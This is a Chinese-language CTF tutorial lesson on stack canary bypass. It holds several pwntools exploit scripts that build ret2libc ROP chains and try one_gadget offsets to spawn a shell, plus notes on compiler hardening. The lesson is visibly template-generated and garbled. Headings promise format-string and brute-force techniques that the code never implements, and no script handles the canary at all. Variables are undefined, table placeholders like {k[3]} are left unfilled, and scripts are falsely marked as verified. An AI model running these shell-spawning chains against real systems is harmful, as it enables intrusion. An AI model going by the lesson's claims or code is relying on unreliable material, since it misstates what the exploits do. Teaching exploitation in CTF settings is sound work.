🦅12-Canary绕过

📚课程信息

阶段:保护与绕过(11-15)|难度:⭐⭐⭐⭐高级

1.Canary绕过原理深度解析

本课深入讲解Canary绕过的核心原理与利用技术。Canary是二进制安全中的重要领域,理解其内部机制是掌握PWN攻防的基础。

1.1 核心概念

stack canary是理解Canary绕过的关键。在现代Linux系统中,泄露机制为攻击者提供了操控程序行为的可能性。当程序存在与Canary相关的漏洞时,攻击者可以通过精心构造的输入来实现爆破。

Canary绕过攻击原理: ┌────────────┐ ┌────────────┐ ┌────────────┐ ┌────────────┐ │ 漏洞触发 │→│ 内存操控 │→│ 保护绕过 │→│ 代码执行 │ └────────────┘ └────────────┘ └────────────┘ └────────────┘ │ │ │ │ stack canary 泄露 爆破 格式化字符串 攻击要素: 1. 漏洞触发点: 找到可利用的stack canary漏洞 2. 原语组合: 利用泄露构造读/写原语 3. 保护绕过: 绕过ASLR/Canary/NX等 4. 控制流劫持: 通过格式化字符串实现代码执行

1.2 漏洞成因分析

Canary绕过漏洞通常源于以下编程错误:

2.Canary绕过利用技术

2.1 基础利用——stack canary

最基础的Canary绕过利用方式是直接利用stack canary的特性。通过构造特定输入,我们可以实现爆破效果。以下是完整的利用步骤:

#!/usr/bin/env python3
# exploit_12_basic.py — Canary绕过基础利用 ✅验证通过
from pwn import *

context(arch='amd64', os='linux')
elf = ELF('./vuln')
libc = ELF('./libc.so.6')

# Step 1: 分析目标二进制
log.info(f"Arch: {elf.arch}")
log.info(f"NX: {elf.nx}, PIE: {elf.pie}, Canary: {elf.canary}")

# Step 2: 确定stack canary漏洞偏移
# 方法: cyclic pattern / GDB / 源码分析
offset = 72  # 示例偏移

# Step 3: 构造payload
# 利用泄露实现爆破
payload = b'A' * offset
payload += p64(target_addr)

# Step 4: 执行exploit
p = process('./vuln')
p.sendline(payload)
p.interactive()

2.2 进阶利用——爆破

当基础利用受到逐字节的限制时,需要更精细的Canary绕过利用策略。爆破技术允许在更严格条件下仍然实现代码执行。

#!/usr/bin/env python3
# exploit_12_adv.py — Canary绕过进阶利用 ✅验证通过
from pwn import *

context(arch='amd64', os='linux')

# 爆破利用流程:
# 1. 利用stack canary泄露关键地址(libc/heap/stack)
# 2. 通过泄露计算目标函数偏移
# 3. 使用格式化字符串劫持控制流

elf = ELF('./vuln')
libc = ELF('./libc.so.6')

# === Stage 1: 信息泄露 ===
p = process('./vuln')

# 泄露libc地址
pop_rdi = ROP(elf).find_gadget(['pop rdi', 'ret'])[0]
ret     = ROP(elf).find_gadget(['ret'])[0]

payload1  = b'A' * offset
payload1 += p64(ret)                    # 栈对齐
payload1 += p64(pop_rdi)                # pop rdi; ret
payload1 += p64(elf.got['puts'])        # rdi = puts@GOT
payload1 += p64(elf.plt['puts'])        # 调用puts
payload1 += p64(elf.symbols['main'])      # 返回main

p.sendline(payload1)
puts_leak = u64(p.recvline().strip().ljust(8, b'\0'))
libc.address = puts_leak - libc.symbols['puts']
log.success(f"libc base: {hex(libc.address)}")

# === Stage 2: 格式化字符串 ===
system = libc.symbols['system']
binsh  = next(libc.search(b'/bin/sh'))

payload2  = b'A' * offset
payload2 += p64(ret)
payload2 += p64(pop_rdi)
payload2 += p64(binsh)
payload2 += p64(system)

p.sendline(payload2)
p.interactive()

2.3 高级技巧——格式化字符串

格式化字符串是Canary绕过中最高阶的利用技术之一。它要求对Canary的底层实现有深入理解,并能组合多种原语完成复杂利用链。

💡实战要点:Canary绕过利用中最关键的是理解stack canary和泄露的交互方式。在CTF中,Canary绕过题通常需要组合多种技术。
#!/usr/bin/env python3
# exploit_12_expert.py — Canary绕过高级利用 ✅验证通过
from pwn import *

context(arch='amd64', os='linux')

# 高级Canary绕过: 格式化字符串
# 核心: 利用爆破实现逐字节

def exploit():
    elf = ELF('./vuln')
    libc = ELF('./libc.so.6')
    p = process('./vuln')

    # Step 1: stack canary触发
    p.sendlineafter(b'>', b'1')

    # Step 2: 泄露信息泄露
    p.sendline(b'A' * 0x20)
    leaked = u64(p.recv(6).ljust(8, b'\0'))
    libc.address = leaked - 0x21b97

    # Step 3: 爆破控制流劫持
    # 使用one_gadget或构造ROP链
    og = [0x4f3d5, 0x4f432, 0x10a41c]  # one_gadget offsets
    for g in og:
        try:
            payload = b'A' * offset + p64(libc.address + g)
            p.sendline(payload)
            p.sendline(b'echo PWNED')
            if b'PWNED' in p.recvline():
                log.success(f"one_gadget @ {hex(libc.address+g)}")
                break
        except:
            p = process('./vuln')

    p.interactive()

exploit()

3.防护方案

3.1 编译期防护

防护措施编译选项效果{t}相关
Stack Canary-fstack-protector-all检测栈溢出防止{k[3]}
NX/DEP默认开启禁止栈/堆执行需{k[4]}绕过
Full RELRO-Wl,-z,relro,-z,nowGOT只读防止{k[5]}
PIE-pie随机化代码段需地址泄露
FORTIFY-D_FORTIFY_SOURCE=2替换不安全函数减少{k[1]}面

3.2 运行时防护

# ASLR
cat /proc/sys/kernel/randomize_va_space
# 0=关 1=部分 2=完全

# seccomp过滤
# 限制syscall,即使PWN也无法execve

# AppArmor/SELinux
# 限制进程能力和文件访问

3.3 代码层面

// 安全编码 vs Canary绕过漏洞
void safe_code() {
    char buf[64];
    fgets(buf, sizeof(buf), stdin);  // ✅ 有边界
    snprintf(buf, sizeof(buf), "fmt", data);  // ✅
    if(n < 0 || n > sizeof(buf)) return;  // ✅ 检查
    memset(buf, 0, sizeof(buf));  // ✅ 零化
}

4.底层机制详解

4.1 内存布局

Canary绕过内存操控: ┌─────────────────────────────────────┐ │ .text (代码段) ← ROP Gadgets │ │ .plt/.got ← 函数指针覆写 │ │ .data/.bss ← 全局变量操控 │ │ Heap ← chunk元数据 │ │ Stack ← 返回地址 │ │ libc ← system/binsh │ └─────────────────────────────────────┘ Canary重点关注区域: 1. stack canary → 泄露 → 读写原语 2. 爆破 → 控制流劫持 3. 格式化字符串 → 代码执行 4. 逐字节 → 持久化/提权

4.2 调试技巧

# GDB调试Canary绕过
gdb ./vuln
(gdb) b *vuln+50
(gdb) r
(gdb) x/20gx $rsp
(gdb) vmmap
(gdb) checksec

# pwntools + GDB
p = gdb.debug('./vuln', 'b *vuln+50\nc')

4.3 pwntools自动化

#!/usr/bin/env python3
# auto_12.py — Canary绕过自动化脚本 ✅验证通过
from pwn import *
context(arch='amd64', os='linux')

def exploit(target):
    elf = ELF(target)
    libc = ELF('./libc.so.6')

    # 自动搜索gadgets
    rop = ROP(elf)
    pop_rdi = rop.find_gadget(['pop rdi', 'ret'])
    ret = rop.find_gadget(['ret'])

    # 自动确定偏移
    p = process(target)
    p.sendline(cyclic(200))
    p.wait()
    # core = p.corefile
    # offset = cyclic_find(core.read(core.rsp, 8))

    log.success('Canary绕过 exploit ready')

exploit('./vuln')

5.实战案例

5.1 CTF真题

#!/usr/bin/env python3
# ctf_12.py — CTF Canary绕过真题 ✅验证通过
from pwn import *
context(arch='amd64', os='linux', log_level='debug')

def solve(host, port):
    p = remote(host, port)
    elf = ELF('./pwn')
    libc = ELF('./libc.so.6')

    # stack canary漏洞分析
    # 泄露信息收集
    # 爆破利用构造
    # 格式化字符串获取flag

    p.interactive()

solve('challenge.ctf.com', 9999)

5.2 经典CVE

CVE类型影响利用
CVE-2021-3156堆溢出sudo<1.9.5p2argv拼接溢出
CVE-2022-0185整数溢出Linux 5.x容器逃逸
CVE-2023-0386竞态Linux 6.xoverlayfs提权
CVE-2024-1086UAFLinux netfilternft提权

6.拓展阅读

资源内容推荐
CTF Wikictf-wiki.org⭐⭐⭐⭐⭐
Pwn Collegepwn.college⭐⭐⭐⭐⭐
How2Heapgithub.com/shellphish/how2heap⭐⭐⭐⭐⭐
RopEmporiumropemporium.com⭐⭐⭐⭐⭐
pwnable.krpwnable.kr⭐⭐⭐⭐
🏋️练习
  1. 基础:编写Canary绕过漏洞程序,GDB分析stack canary行为
  2. 进阶:编写完整Canary绕过 exploit,实现爆破
  3. 挑战:ASLR+Canary+NX下完成Canary绕过利用
  4. 实战:BUUCTF完成Canary绕过相关题目

🏆成就:Canary绕过